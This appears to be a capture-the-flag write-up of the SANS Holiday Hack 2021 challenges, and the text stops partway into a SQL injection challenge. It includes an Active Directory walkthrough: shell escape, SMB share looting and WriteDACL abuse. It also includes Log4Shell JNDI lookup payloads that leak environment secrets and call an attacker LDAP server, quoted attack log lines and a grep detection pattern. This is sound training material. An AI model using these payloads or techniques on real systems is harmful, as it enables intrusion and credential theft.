import elf, munchkins, levers, lollipops, yeeters, pits all_lollipops = lollipops.get() for lollipop in all_lollipops: elf.moveTo(lollipop.position) elf.moveTo({'x':2, 'y':4}) # move to right befpre munchhkin munchkin = munchkins.get(0) for key,val in munchkin.ask().items(): munchkin will return us a Dict data type if val == "lollipop": munchkin.answer(key) # munchkin wants the key that has the value "lollipop". break elf.moveUp(2) # move to KringleCon Entrance
Due to the walking speed of the elf, by the time our elf faces the munchkin, it is right in front of our help. Hence we can answer the munchkin immediately without checking if it is right in front of our elf.
Level 9 (Bonus level)
The objective to bypass the munchkin:
As for the lever, I would be showing screenshots of their objectives as there are too many and they are all the same. Basically, we just have to submit lever.pull(<leverID>).
Solution:
import elf, munchkins, levers, lollipops, yeeters, pits def func_to_pass_to_mucnhkin(list_of_lists): # recursive function sum_of_ints_in_list_of_lists = 0 # initialized to 0 for element in list_of_lists: if type(element) == list: sum_of_ints_in_list_of_lists += func_to_pass_to_mucnhkin(element) # recursion elif type(element) == int: # only sum it if we found the element is an integer sum_of_ints_in_list_of_lists += element return sum_of_ints_in_list_of_lists all_levers = levers.get() num_of_levers = len(all_levers) # Create Movement pattern: moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2 # We iterate over each move in moves getting an index (i) number that increments by one each time for i, move in enumerate(moves): move(i+1) # based on the spiral pattern, we can see it increments by one if i < num_of_levers: # need this check is end of spiral do not have lever all_levers[i].pull(i) # Answer for each lever is its ID elf.moveUp(2) # these 2 steps is to move the position (6,2) facing the munchkin elf.moveLeft(4) munchkins.get(0).answer(func_to_pass_to_mucnhkin) elf.moveUp(1) # move to KringleCon Entrance
Level 10 (Final bonus level)
Solution:
import elf, munchkins, levers, lollipops, yeeters, pits import time muns = munchkins.get() lols = lollipops.get()[::-1] for index, mun in enumerate(muns): # need to wait while absolute distance between # elf.position["x"] and mun.position['x'] is less than 6 # then we move to next lollipop # We can use time.sleep(0.05) to add a small delay in a while loop while abs(mun.position['x'] - elf.position['x']) < 6: time.sleep(0.05) elf.moveTo(lols[index].position) # safe move to next lollipop elf.moveTo({"x":2, "y":2}) # move to KringleCon Entrance
Hoho no
This challenge is located at Santa Office and it is about the Fail2Ban configuration. If we speak to NPC Eve Snowshoes, he will tell us to filter IP for apache before rewarding us with hints for Kerberoasting on an Open Fire challenge.
You can look at this useful video if you are new to configuring Fail2Ban.
Analyze failure message
We first look at the possible error messages in /var/log/hohono.log since the challenge wants us to ban IP as long as there are 10 failed messages.
root@803686506a84:~#nano /var/log/hohono.log ... 2021-12-25 03:56:42 Invalid heartbeat 'alpha' from 160.178.196.7 ... 2021-12-25 03:56:46 Login from 117.86.141.239 rejected due to unknown user name ... 2021-12-25 04:00:26 Failed login from 117.86.141.239 for piney ... 2021-12-25 04:03:06 117.86.141.239 sent a malformed request
After going through the log file, there seem to be only 4 types of error/failure messages.
Creating filter conf file
I created my own filter conf file, /etc/fail2ban/filter.d/santa.conf.
[Definition] failregex = Invalid heartbeat \'.+\' from <HOST>$ Login from <HOST> rejected due to unknown user name$ Failed login from <HOST> for .+$ <HOST> sent a malformed request$ ignoreregex =
We can use the fail2ban-regex tool to check our REGEX.
Bantime is set to -1 which means to ban the IP address forever.
Run it
We will need to restart the Fail2Ban service before refreshing the log file so that Fail2Ban will analyze it. Once it works, a successful message will be displayed.
root@b2ada16362dc:~#service fail2ban restart * Restarting Authentication failure monitor fail2ban [ OK ] root@b2ada16362dc:~#/root/naughtylist refresh Refreshing the log file... root@b2ada16362dc:~#Log file refreshed! It may take fail2ban a few moments to re-process. 47.154.79.237 has been added to the naughty list! 92.15.242.84 has been added to the naughty list! 23.50.103.240 has been added to the naughty list! 23.207.154.253 has been added to the naughty list! 211.172.181.246 has been added to the naughty list! 181.237.77.27 has been added to the naughty list! 135.171.242.184 has been added to the naughty list! 36.202.234.8 has been added to the naughty list! 176.83.32.31 has been added to the naughty list! 42.30.219.56 has been added to the naughty list! 186.32.223.236 has been added to the naughty list! 133.190.15.121 has been added to the naughty list! 181.110.248.205 has been added to the naughty list! 89.73.40.29 has been added to the naughty list! 183.34.213.28 has been added to the naughty list! 195.191.33.187 has been added to the naughty list! 87.41.197.104 has been added to the naughty list! 151.85.213.35 has been added to the naughty list! You correctly identifed 18 IPs out of 18 bad IPs You incorrectly added 0 benign IPs to the naughty list ******************************************************************* * You stopped the attacking systems! You saved our systems! * * Thank you for all of your help. You are a talented defender! *******************************************************************
Kerberoasting on an Open Fire hints
Talk to NPC Eve Snowshoes again and he will give us hints for the Kerberoasting challenge. He gave me a hint that credentials can be found in scripts created by admins. Besides that, another hint is there may be some 10.xx.xx.xx.xx networks in our routing table and we can consider adding "-PS22,445" to our nmap scans to "fix" default probing for an unprivileged scan. Besides that, he also gave us some sources we can refer to such as the cheatsheet for Active Directory pentesting and the rules list for hashcat cracking.
Kerberoasting on an Open Fire
This challenge can be found on the objective page. In this challenge, we will get to learn about Active Directory, kerberoasting, WriteDACL privileges, adding a user account to a group using PowerShell, changing login shell, and SUID. It is the hardest challenge in this SANS CTF. This video by Chris Davis is definitely helpful for this challenge. Let's get started!
Once you registered, they will give you credentials to a GNU/Linux machine to SSH into.
Note that the credentials will be invalid the next day. Thus if you take more than a day to solve this challenge, create a new account again. You can use the same information when filling up the signup form.
Main page
Once you SSH into the server, we will be given an option to choose on the main page.
=================================================== = Elf University Student Grades Portal = = (Reverts Everyday 12am EST) = =================================================== 1. Print Current Courses/Grades. e. Exit :
If we print current courses/grades,
0 Shortname Description Grade ================================================== 1 NPAR301 North Pole Art Appreciation B 2 CACH301 Candy Chemistry A+ 3 GEOG201 Geometry of Gift-Wrapping C 4 NNLM301 Naughty Nice List Mathematics C- Press Enter to continue...
If we press shortcut CTRL+D, error messages are shown which show us part of the source code. We can see it is a Python program.
=================================================== = Elf University Student Grades Portal = = (Reverts Everyday 12am EST) = =================================================== 1. Print Current Courses/Grades. e. Exit : Traceback (most recent call last): File "/opt/grading_system", line 41, in <module> main() File "/opt/grading_system", line 26, in main a = input(": ").lower().strip() EOFError >>>
Program escape
We can escape from the program spawning a bash shell from the Python shell we escaped to when we pressed CTRL+D.
>>>os.system('bash')qiaedikfyn@grades:~$
Available hosts
As NPC Eve Snowshoes gave us a hint that the internal network range is 10.0.0.0/8, it will take forever for nmap to ping sweep the entire network. Thus, I used netstat to find what are the possible available hosts.
After obtaining them, we can now attempt to crack the hashes on our own host machine. However, we need to generate a wordlist. NPC Eve Snowshoes gave us a hint that we can use CeWL to crawl the website to generate a wordlist which we should set to take in digits as well. Once we crawl the website, we copy it to our host machine to crack the hash.
Remember NPC Eve Snowshoes told us that the credentials may be hiddle in a script? We can first try to list the shared folders in the host, 10.128.3.30.
qiaedikfyn@grades:~$smbclient -L 10.128.3.30 Enter WORKGROUP\qiaedikfyn's password: Anonymous login successful Sharename Type Comment --------- ---- ------- netlogon Disk sysvol Disk elfu_svc_shr Disk elfu_svc_shr research_dep Disk research_dep IPC$ IPC IPC Service (Samba 4.3.11-Ubuntu) SMB1 disabled -- no workgroup available
Since we have the credentials obtained from Kerberoasting, we can attempt to access the shared folders with that.
qiaedikfyn@grades:~$smbclient \\\\10.128.3.30\\elfu_svc_shr -U elfu_svc Enter WORKGROUP\elfu_svc's password: Snow2021! Try "help" to get a list of possible commands. smb: \>
There are a lot of files to check the content. We can recursively download all files.
smb: \>prompt offsmb: \>recurse onsmb: \>mget *
After downloading the files, I searched for the credentials and found something promising.
As there is another shared folder in SMB, we would like to access it which is research_dept. This is because the challenge wanted us to obtain the secret sleigh research document from the host on the Elf University domain. Hence, we can take a look and see those in that group with WriteDACL privilege. However, we ned to find out the research_dept group name. Thus we can use "net groups".
[10.128.1.53]: PS C:\Users\remote_elf\Documents>net groups ... *ResearchDepartment
We can further confirm the CN value of the group name to query for by searching in LDAP.
We can see ELFU\remote_elf has WriteDacl privilege which allows us to modify privileges in the group. Since we have access to ELFU\remote_elf from the 10.128.1.53 machine, we can add the account we first register on the ELF university website into the group. This will prevent spoilers for others if we do not make ELFU\remote_elf have GenericAll privilege. I followed the YouTube video from Chris to give the account privileges to the group.
We can now access the research_dep shared folder using our account.
qiaedikfyn@grades:~$smbclient \\\\10.128.3.30\\research_dep Enter WORKGROUP\qiaedikfyn's password: password Try "help" to get a list of possible commands. smb: \>
If we see the content, we will see there is only one file. Download it.
smb: \> dir . D 0 Thu Dec 2 16:39:42 2021 .. D 0 Tue Dec 28 21:35:08 2021 SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021 41089256 blocks of size 1024. 34575816 blocks available smb: \>get SantaSecretToAWonderfulHolidaySeason.pdf
Download file
If you try to download files into your host system using the SCP tool, it will complain of the TERM environment not being set. This is because when you run SCP, the original; /opt/grading_system program is run hence SCP cannot download your file. We can verify this by checking it from /etc/passwd.
Hence we can change our login shell to /bin/bash using chsh command. I first checked if the admin unset the SUID bit of chsh. However, it is still there hence we can use it. This will allow us to SCP our Santa file successfully.
Opening the PDF file, we can see the flag which is the first ingredient.
Finally, we can submit the flag.
FPGA Programming
This challenge is located at Frost Tower's rooftop. To do this challenge, you should have some background in Verilog. Otherwise, you have to YouTube for some tutorial lessons.
We can see that we first have to create a square wave. Some sample code has already been given to us.
Solution:
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA. // The CQC-11 operates with a 125MHz clock. // Your design for a tone generator must support the following // inputs/outputs: // (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL // REQUIRES THE USE OF THESE NAMES!) // input clk - this will be connected to the 125MHz system clock // input rst - this will be connected to the system board's reset bus // input freq - a 32 bit integer indicating the required frequency // (0 - 9999.99Hz) formatted as follows: // 32'hf1206 or 32'd987654 = 9876.54Hz // output wave_out - a square wave output of the desired frequency // you can create whatever other variables you need, but remember // to initialize them to something! `timescale 1ns/1ns module tone_generator ( input clk, input rst, input [31:0] freq, output wave_out ); // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ---- // TODO: Add your code below. // Remove the following line and add your own implementation. // Note: It's silly, but it compiles... reg wave_out_reg = 0; assign wave_out = wave_out_reg; integer counter = 0; // rounding the decimal frequency wire [31:0] new_freq; assign new_freq = (freq + 32'd50) / 32'd100; always @(posedge clk) begin if (rst) begin counter <= 32'd0; wave_out_reg <= 1'b0; end else begin // If counter is zero, toggle wave_out_reg if (counter == 32'd0) begin wave_out_reg <= ~wave_out_reg; // Generate 0.5Hz Frequency from CLK's 125MHz Frequency counter <= (32'd125000000/new_freq)/2 - 1; end // Else count down else counter <= counter - 1; end end endmodule
This post has a very good explanation. Hope it helps if you don't understand my solution.
Special stage
Once you completed the challenge after programming the door, click on the stuff on the table. You will see the image below. Drag the FPGA chip to the board.
A spaceship will then descend on the rooftop and you will receive another achievement.
Logic Munchers
This challenge is located right outside Santa's castle. This challenge will test the basic understanding of logic expressions.
Since we just need to complete a stage in Potpourri at Intermediate or higher, I chose to do an intermediate level.
Below shows how is what the challenge is like. We basically need to select all those that are TRUE. Pink trolls will be moving around. If we touch them, we lose a life. Whenever a troll goes to a grid, it may change the question. Thus, there is no point for me to show the solutions as the question keeps changing.
Holiday Hero
This challenge is located at Santa's castle's NetWars level. This challenge is quite easy as it is basically a game, similar to Guitar Hero.
Instructions:
Note that you must play as Player1 to receive the achievement. Once both of you switch the button to "on", the game will start. If you get at least 80% fuel level, you will receive the achievement.
Strace Ltrace Retrace
This challenge is located at Santa's castle's kitchen. This challenge is a bit similar to the Yara Analysis challenge where we solve an issue, run the program, solve the next issue, and so on until the program is able to run successfully. We will get to learn to use strace or ltrace to debug a program. Let's get started!
Missing configuration file
We can start off by using ltrace to run on the program.
kotton_kandy_co@2ac08ab92d02:~$ls make_the_candy* kotton_kandy_co@2ac08ab92d02:~$ltrace ./make_the_candy fopen("registration.json", "r") = 0 puts("Unable to open configuration fil"...Unable to open configuration file. ) = 35 +++ exited (status 1) +++
We can see both strace and ltrace shows the last execution ended at searching for registration.json in the current working directory (AT_FDCWD) but it cannot be found.
We can solve this by creating an empty registration.json file.
We can see it is looking for the string "Registration" in the registration.json but an error was caused as it only found "\n" based on the empty echo command I used when I created the registration.json. Seems like we have to rebuild registration.json by placing content the program requires. Thus, I included the string "Registration" and sees the next issue.
We can see the next string the program searches for is "True". We can add it into registration.json and run the program. There should not be any more errors, causing us to clear this challenge.
The above shows the final output. The output is too long hence I only show the final output.
Log4J Red Bonus
Both Loj4J Red and Log4J Blue are located at the North Pole. This set of challenges is only recently added as it was a recent zero-day during the mid of the SANS Holiday Hack.
If we talk to Icky McGoop, she will give us sources we can refer to for this challenge. They are this help document and Log4J discussion.
Technically, the help document given is already the walk-through. We just need to follow it and understand. Hence, I wouldn't be posting the write-up for it.
Follow the steps and we will find out the flag is "patching".
Log4J Blue Bonus
This challenge is located at the North Pole as well. If we talk to NPC Bow Ninecandle, he will give us 3 hints. They are an Apache article on searching for Log4J vulnerability, a talk by Prof. Qwerty Petabyte on Log4J, and a script to search the log if the system has already been attacked via Log4J vulnerability. This challenge is basically a step-by-step walkthrough on how to defend against Log4J.
I will just be copying and pasting the instructions and the commands I did, just in case you didn't want to directly try out the challenge.
In this lesson we'll look at Java source code to better understand the Log4j vulnerabilities described in CVE-2021-44228. You don't need to be a programmer to benefit from this lesson! Run 'next' to continue. elfu@b0a0c1c89196:~$next ----------------------------------------------------------------------------- I have prepared several files for you to use in this lesson. Run the 'ls' command to see the files for this lesson. elfu@b0a0c1c89196:~$ls log4j2-scan logshell-search.sh patched vulnerable ----------------------------------------------------------------------------- First we'll look at the some Java source, including an example of a vulnerable Java program using the Log4j library. Change to the vulnerable directory with the command 'cd vulnerable' elfu@b0a0c1c89196:~$cd vulnerable/elfu@b0a0c1c89196:~/vulnerable$ ----------------------------------------------------------------------------- List the files in this directory. Run the 'ls' command. elfu@b0a0c1c89196:~/vulnerable$ls DisplayFilev1.java DisplayFilev2.java log4j-api-2.14.1.jar log4j-core-2.14.1.jar startserver.sh testfile.txt ----------------------------------------------------------------------------- Here we have Java source code (with the .java file name extension), and a vulnerable version of the Log4j library. Display the contents of the DisplayFilev1.java source code with the 'cat' command. elfu@b0a0c1c89196:~/vulnerable$cat DisplayFilev1.java import java.io.*; public class DisplayFilev1 { public static void main(String[] args) throws Exception { File file = new File(args[0]); BufferedReader br = new BufferedReader(new FileReader(file)); String st; while ((st = br.readLine()) != null) { System.out.println(st); } } } ----------------------------------------------------------------------------- This Java program has one job: it reads a file specified as a command-line argument, and displays the contents on the screen. We'll use it as an example of error handling in Java. Let's compile this Java source so we can run it. Run the command 'javac DisplayFilev1.java'. elfu@b0a0c1c89196:~/vulnerable$javac DisplayFilev1.java ----------------------------------------------------------------------------- Nice work! You just compiled the Java program. Next, run the program and display the contents of the testfile.txt file. Run 'java DisplayFilev1 testfile.txt' elfu@b0a0c1c89196:~/vulnerable$java DisplayFilev1 testfile.txt Hello from Prof. Petabyte! ----------------------------------------------------------------------------- This program did its job: it displayed the testfile.txt contents. But it also has some problems. Re-run the last command, this time trying to read testfile2.txt elfu@b0a0c1c89196:~/vulnerable$ java DisplayFilev1 testfile2.txt Exception in thread "main" java.io.FileNotFoundException: testfile2.txt (No such file or directory) at java.io.FileInputStream.open0(Native Method) at java.io.FileInputStream.open(FileInputStream.java:195) at java.io.FileInputStream.<init>(FileInputStream.java:138) at java.io.FileReader.<init>(FileReader.java:72) at DisplayFilev1.main(DisplayFilev1.java:7) ----------------------------------------------------------------------------- This program doesn't gracefully handle a scenario where the file doesn't exist. Program exceptions like this one need consistent handling and logging, which is where Log4j comes in. Run 'next' to continue. elfu@b0a0c1c89196:~/vulnerable$next ---------------------------------------------------------------------------- The Apache Log4j library allows developers to handle logging consistently in code. Let's look at an example of a modified version of this program. Run 'cat DisplayFilev2.java'. elfu@b0a0c1c89196:~/vulnerable$cat DisplayFilev2.java import java.io.*; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class DisplayFilev2 { static Logger logger = LogManager.getLogger(DisplayFilev2.class); public static void main(String[] args) throws Exception { String st; try { File file = new File(args[0]); BufferedReader br = new BufferedReader(new FileReader(file)); while ((st = br.readLine()) != null) System.out.println(st); } catch (Exception e) { logger.error("Unable to read file " + args[0] + " (make sure you specify a valid file name)."); } } } ---------------------------------------------------------------------------- This Java program has the same functionality, but the first few lines adds support for the log4j library. The 4th line from the bottom calls Log4j with the logger.error() function, followed by a logging message. Run 'next' to continue. elfu@b0a0c1c89196:~/vulnerable$next ---------------------------------------------------------------------------- Let's compile this Java source with Log4j support so we can run it. Run the command 'javac DisplayFilev2.java'. elfu@b0a0c1c89196:~/vulnerable$javac DisplayFilev2.java ---------------------------------------------------------------------------- Nice work! Let's run the program and tell it to read testfile2.txt file. Run 'java DisplayFilev2 testfile2.txt' elfu@b0a0c1c89196:~/vulnerable$java DisplayFilev2 testfile2.txt 14:47:04.961 [main] ERROR DisplayFilev2 - Unable to read file testfile2.txt (make sure you specify a valid file name). ---------------------------------------------------------------------------- This time, the program doesn't crash - it exits with an error message generated by Log4j. The Log4j library is valuable to produce consistent logging messages that can be handled flexibly. Unfortunately, multiple vulnerabilities allows attackers to manipulate this functionality in many versions of Log4j 2 before version 2.17.0. Run 'next' to continue. elfu@b0a0c1c89196:~/vulnerable$next ---------------------------------------------------------------------------- The CVE-2021-44228 Log4j vulnerability is from improper input validation. Log4j includes support for lookup features, where an attacker can supply input that retrieves more data than intended from the system. Re-run the prior java command, replacing testfile2.txt with the string '${java:version}' (IMPORTANT: include the quotation marks in this command) elfu@b0a0c1c89196:~/vulnerable$java DisplayFilev2 '${java:version}' 14:54:47.456 [main] ERROR DisplayFilev2 - Unable to read file Java version 1.8.0_312 (make sure you specify a valid file name). ---------------------------------------------------------------------------- Notice how the error has changed - instead of a file name, the error shows the Java version information. The Log4j lookup command java:version retrieves information from the host operating system. Let's try another example: re-run the last command, changing the java:version string to env:APISECRET eelfu@b0a0c1c89196:~/vulnerable$java DisplayFilev2 '${env:APISECRET}' 15:02:16.960 [main] ERROR DisplayFilev2 - Unable to read file pOFZFiWHjqKoQaRhNYyC (make sure you specify a valid file name). ---------------------------------------------------------------------------- Using the Log4j env lookup, attackers can access local environment variables, possibly disclosing secrets like this one. Log4j also supports lookup requests using the Java Naming and Directory Interface (JNDI). These requests can reach out to an attacker server to request data. Run 'next' to continue. u@b0a0c1c89196:~/vulnerable$next ---------------------------------------------------------------------------- Log4j lookups can also tell the vulnerable server to contact the attacker using LDAP and DNS. Run the startserver.sh command to launch a simple server for testing purposes. u@b0a0c1c89196:~/vulnerable$./startserver.sh Listening on 0.0.0.0 1389 ---------------------------------------------------------------------------- The bottom window is waiting for a connection at the specified IP address and port. Re-run the DisplayFilev2 program, using the Log4j lookup to connect to the server: java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}' elfu@b0a0c1c89196:~/vulnerable$java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}' [In the terminal running LDSP server] Connection received on 127.0.0.1 35470 0 ---------------------------------------------------------------------------- Notice how the server received a connection from the vulnerable application in the server ("Connection received")? This is a critical part of the Log4j vulnerability, where an attacker can force a server to connect to an attacking system to exploit the vulnerability. Press CTRL+C to close the DisplayFilev2 program and continue with this lesson. CTRL+C [server exited] u@b0a0c1c89196:~/vulnerable$ ---------------------------------------------------------------------------- To address this vulnerability, applications need an updated version of Log4j. Change to the ~/patched directory by running 'cd ~/patched elfu@b0a0c1c89196:~/vulnerable$cd ~/patchedelfu@b0a0c1c89196:~/patched$ ---------------------------------------------------------------------------- List the contents of this directory with the 'ls' command elfu@b0a0c1c89196:~/patched$ls DisplayFilev2.java classpath.sh log4j-api-2.17.0.jar log4j-core-2.17.0.jar ---------------------------------------------------------------------------- This is the same DisplayFilev2.java source, but the Log4j library is updated to a patched version. To use the updated library, change the Java CLASSPATH variable by running 'source classpath.sh' elfu@b0a0c1c89196:~/patched$source classpath.sh Changing the Java CLASSPATH to use patched Log4j ---------------------------------------------------------------------------- Compile the DisplayFilev2.java source using the patched Log4j library. Run 'javac DisplayFilev2.java' elfu@b0a0c1c89196:~/patched$ javac DisplayFilev2.java ---------------------------------------------------------------------------- Use the Log4j lookup string java:version by running the following command: java DisplayFilev2 '${java:version}' IMPORTANT: include the quotation marks in this command. elfu@b0a0c1c89196:~/patched$java DisplayFilev2 '${java:version}' 15:21:01.452 [main] ERROR DisplayFilev2 - Unable to read file ${java:version} (make sure you specify a valid file name). ---------------------------------------------------------------------------- With the fixed Log4j library, attackers can't use the lookup feature to exploit library. The same program displays the ${java:version} lookup as a literal string, without performing the actual lookup. Next, we'll look at a technique to scan applications for the vulnerable Log4j library. Run 'cd' to return to the home directory. elfu@b0a0c1c89196:~/patched$cdelfu@b0a0c1c89196:~$ ---------------------------------------------------------------------------- The log4j2-scan utility is a tool to scan for vulnerable Log4j application use. Run the log4j2-scan utility, specifying the vulnerable directory as the first command-line argument. elfu@b0a0c1c89196:~$log4j2-scan ~ Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18) Scanning directory: /home/elfu (without tmpfs, shm) [*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /home/elfu/vulnerable/log4j-core-2.14.1.jar, log4j 2.14.1 Scanned 3 directories and 19 files Found 1 vulnerable files Found 0 potentially vulnerable files Found 0 mitigated files Completed in 0.01 seconds ---------------------------------------------------------------------------- Log4j2-scan quickly spots the vulnerable version of Log4j. Repeat this command, changing the search directory to patched. elfu@b0a0c1c89196:~$log4j2-scan ~/patched/ Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18) Scanning directory: /home/elfu/patched/ (without tmpfs, shm) Scanned 1 directories and 5 files Found 0 vulnerable files Found 0 potentially vulnerable files Found 0 mitigated files Completed in 0.00 seconds ---------------------------------------------------------------------------- Log4j2-scan can also scan large directories of files. This server includes the Apache Solr software that uses Log4j in the /var/www/solr directory. Scan this directory with log4j2-scan to identify if the server is vulnerable. elfu@b0a0c1c89196:~$log4j2-scan /var/www/solr Logpresso CVE-2021-44228 Vulnerability Scanner 2.2.0 (2021-12-18) Scanning directory: /var/www/solr (without tmpfs, shm) [*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/server/lib/ext/log4j-core-2.14.1.jar, log4j 2.14.1 [*] Found CVE-2021-44228 (log4j 2.x) vulnerability in /var/www/solr/contrib/prometheus-exporter/lib/log4j-core-2.14.1.jar, log4j 2.14.1 Scanned 102 directories and 1988 files Found 2 vulnerable files Found 0 potentially vulnerable files Found 0 mitigated files Completed in 0.35 seconds ---------------------------------------------------------------------------- Log4j2-scan finds two vulnerable Log4j libraries: one for the Solr platform, and one for a third-party plugin. Both need to be patched to resolve the vulnerability. Next, we'll look at scanning system logs for signs of Log4j attack. Run 'next' to continue. elfu@b0a0c1c89196:~$next ---------------------------------------------------------------------------- The CVE-2021-44228 Log4j exploit using JNDI for access is known as Log4shell. It uses the JNDI lookup feature to manipulate logs, gain access to data, or run commands on the vulnerable server. Web application servers are a common target. Let's scan the web logs on this server. Examine the files in the /var/log/www directory. elfu@b0a0c1c89196:~$ls /var/log/www access.log ---------------------------------------------------------------------------- We can scan web server logs to find requests that include the Log4j lookup syntax using a text pattern matching routine known as a regular expression. Examine the contents of the logshell-search.sh script using 'cat' elfu@b0a0c1c89196:~$cat logshell-search.sh #!/bin/sh grep -E -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' $1 ---------------------------------------------------------------------------- This script recursively searches for Log4shell attack syntax in any files. Run the logshell-search.sh command, specifying the /var/log/www directory as the search target. elfu@b0a0c1c89196:~$logshell-search.sh /var/log/www /var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0" /var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://10.99.3.43/NothingToSeeHere}" /var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://10.3.243.6/DefinitelyLegitimate}" ---------------------------------------------------------------------------- In this output we see three examples of Log4shell attack. Let's look at each line individually. Re-run the previous command, piping the output to | sed '1!d' to focus on the first line. elfu@b0a0c1c89196:~$logshell-search.sh /var/log/www | sed '1!d' /var/log/www/access.log:10.26.4.27 - - [14/Dec/2021:11:21:14 +0000] "GET /solr/admin/cores?foo=${jndi:ldap://10.26.4.27:1389/Evil} HTTP/1.1" 200 1311 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:64.0) Gecko/20100101 Firefox/64.0" ---------------------------------------------------------------------------- In this first attack, we see the attacker is at 10.26.4.27. The Log4j lookup command is sent as a URL GET parameter, attempting to use JDNI to reach the attacker LDAP server at ldap://10.26.4.27:1389 (see in the ${jndi:ldap://10.26.4.27:1389/Evil} string). Re-run the previous command, this time looking at the 2nd line of output. elfu@b0a0c1c89196:~$logshell-search.sh /var/log/www | sed '2!d' /var/log/www/access.log:10.99.3.1 - - [08/Dec/2021:19:41:22 +0000] "GET /site.webmanifest HTTP/1.1" 304 0 "-" "${jndi:dns://10.99.3.43/NothingToSeeHere}" ---------------------------------------------------------------------------- In this second attack, we see the attacker is at 10.99.3.1. Instead of a URL GET parameter, this time the exploit is sent through the browser User-Agent field. The attacker attempted to use JDNI to reach the attacker DNS server at dns://10.99.3.43, using a different IP than the exploit delivery address. Re-run the previous command, this time looking at the 3rd line of output. elfu@b0a0c1c89196:~$logshell-search.sh /var/log/www | sed '3!d' /var/log/www/access.log:10.3.243.6 - - [08/Dec/2021:19:43:35 +0000] "GET / HTTP/1.1" 304 0 "-" "${jndi:ldap://10.3.243.6/DefinitelyLegitimate}" ---------------------------------------------------------------------------- Here we see the attacker is at 10.3.243.6. This attack is also sent through the browser User Agent field, but this more closely resembles the first attack using the attacker LDAP server at 10.3.243.6. The DefinitelyLegitimate string is supplied by the attacker, matching a malicious Java class on the LDAP server to exploit the victim Log4j instance. Run 'next' to continue. elfu@b0a0c1c89196:~$next ---------------------------------------------------------------------------- Congratulations! You've completed the lesson on Log4j vulnerabilities. Run 'exit' to close. elfu@b0a0c1c89196:~$exit
Splunk
This challenge is located at Santa castle's Great hall. This challenge mostly tests us on using filters on Splunk.
If we click on the Splunk monitor, we will be brought to this website. There is a total of 8 questions to answer. Submit the answer in the textbox and press enter.
Task 1
Question:
Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.
Go to the hyperlink on pointer 4. We will see "git status" as the topmost used git command. The filtering has already been done for us to sort by the most common commands used.
Task 2
Question:
Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!
Continuing from the same hyperlink we were accessing for task 1, I modified the filter to find "git" command and the command must contain "partnerapi". Below shows the modified filter.
Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.
We can use the 6th pointer's hyperlink as the sourcetype has already been completed for us. Expand the "repository" sections. Nothing looks interesting until I saw the 3rd row's result's repository section on DVWS. DVWS stands for Damn Vulnerable Web Service is very popular as it is usually used for practicing web pentesting.
Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.
We can use the 4th hyperlink again which was used for task 1. From there, filter the CommandLine via "*npm*install*". Below shows the filter I used.
We will be able to find out that the library installed is "holiday-utils-js".
Task 6
Question:
Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.
Going to the link in the hyperlink of "their search", it shows us two IP addresses, 192.30.255.113 and 54.175.69.219. Thus, we need to search for them. By using the 2nd given hyperlink "Sysmon for Linux - Process creation", I changed the event code to 3 to match "their search"'s filter as event code 3 is for networking. Going through the process names, I found a suspicious process which is "/usr/bin/nc.openbsd" which is commonly used for remote shells.
Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.
As we know from task 6 that the process id (PID) is 6791, we can query for it but remove the event code filter so that all events from that process will be shown. Thus the new filter is:
If we point our mouse cursor on the CommandLine, we can see the full command. Thus, we can see 6 files were being accessed.
Task 8
Question:
Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.
Open the 2nd pointer hyperlink (Sysmon for Linux - Process creation). We will be searching for a bash script (*.sh). Thus, the filter I have created is:
This will allow us to see a bash script file, "preinstall.sh".
Flag
Once we submit the answer for task 8, the Window containing the flag will pop up.
Frost Tower Website Checkup
This challenge is located on the objective page where we will be tested on cookie/session flaw, SQL injection vulnerability, comma restriction bypass on SQL injection.
Going to the 2 hyperlinks, one of them will lead us to a website while another will allow us to download the website's source code.
Talking to NPC Ribb Bonbowford will give us a hint that this challenge is on SQL injection (SQLi) and the database used is MySQL.
Login bypass
We first need to go to the dashboard page. If we look at the server.js file, we will see that it requires session.uniqueID to be set.
